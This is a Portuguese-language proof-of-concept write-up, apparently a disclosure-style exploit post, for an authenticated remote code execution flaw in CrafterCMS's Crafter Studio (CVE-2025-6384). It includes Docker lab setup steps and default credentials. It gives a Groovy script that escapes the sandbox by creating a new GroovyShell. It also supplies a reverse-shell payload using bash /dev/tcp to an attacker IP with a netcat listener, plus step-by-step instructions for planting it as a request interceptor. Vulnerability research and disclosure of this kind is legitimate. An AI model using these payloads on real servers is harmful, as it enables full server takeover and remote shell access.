CrafterCMS RCE Autenticado - Bypass do Sandbox Groovy (CVE-2025-6384)

Uma Prova de Conceito para uma vulnerabilidade de Execução Remota de Código autenticada no CrafterCMS.

Resumo da Vulnerabilidade

Um utilizador autenticado com privilégios de programador pode contornar o sandbox de scripts Groovy no Crafter Studio para obter Execução Remota de Código (RCE). O sandbox não consegue bloquear a instanciação de um novo GroovyShell, que pode ser usado para criar um novo ambiente de execução sem restrições.

• Produto: CrafterCMS
• Componente: Crafter Studio
• Vulnerabilidade: RCE Autenticado via Bypass do Sandbox Groovy (CWE-913)
• Impacto: Comprometimento total do servidor

Configuração / Implantação do Laboratório

Pode implementar rapidamente uma instância vulnerável do CrafterCMS para testes utilizando os ficheiros oficiais do Docker Compose.

1. Clone o repositório docker-compose do CrafterCMS:

   root@kitploit:~

   git clone https://github.com/craftercms/docker-compose.git
   

2. Navegue para o diretório do ambiente de autoria:

   root@kitploit:~

   cd docker-compose/authoring
   

3. Inicie os contentores. Isto irá descarregar as imagens necessárias e iniciar a stack do CrafterCMS.

   root@kitploit:~

   docker-compose up
   

   (Nota: pode ser necessário sudo dependendo da sua instalação do Docker.)

4. Aguarde até que os serviços estejam totalmente inicializados. Pode aceder ao Crafter Studio em http://localhost:8080/studio.

   • Nome de Utilizador Padrão: admin
   • Senha Padrão: admin

Prova de Conceito (PoC)

Embora o sandbox bloqueie corretamente os métodos de execução direta, ele permite o seguinte payload, que cria um novo shell Groovy sem sandbox.

// File: /scripts/interceptors/pwn.groovy

def shell = new GroovyShell()
def command = "id" // <-- Your command here
def result = shell.evaluate("'''${command}'''.execute().text")

// The output is printed to the server logs
System.err.println("[RCE-PoC] " + result)

Exploit RCE: Reverse Shell

Este payload demonstra RCE total ao estabelecer uma reverse shell de volta para uma máquina controlada pelo atacante.

1. Inicie um Listener

Na sua máquina, inicie um listener (ex.: usando netcat) para receber a conexão de entrada:

nc -lvnp 4444

2. Prepare o Payload

Use o seguinte script Groovy como seu payload. Lembre-se de substituir <YOUR_IP> e <YOUR_PORT> pelo endereço IP e porta do seu listener.

// File: /scripts/interceptors/exploit.groovy

def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // Or <YOUR_PORT>

def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()

// Use triple quotes to handle the command string easily
shell.evaluate("""
    new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")

System.err.println("Reverse shell payload executed.")

Passos para Reproduzir

1. Faça login no Crafter Studio (http://localhost:8080/studio) com as credenciais padrão (admin / admin).

2. Navegue para Site Config -> Scripts.

3. Clique em Create/Edit Script na secção "Groovy Scripts".

   

4. Escolha um tipo de script que será executado, como Request Interceptor.

5. Cole o payload da PoC no editor de scripts e salve-o.

   

6. Acione o script visitando qualquer página no site (ex.: http://localhost:8080).

7. Verifique os logs de erro padrão do servidor para ver a saída do comando.

   • Para a PoC, encontre o ID do seu contentor e verifique os seus logs para a saída do comando:
   root@kitploit:~

   docker-compose logs -f crafter
   

   Saída Esperada:

   root@kitploit:~

   GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
   

   

Aviso Legal

Este material é apenas para fins educacionais e de pesquisa. O autor não se responsabiliza por qualquer uso indevido ou danos causados por esta informação.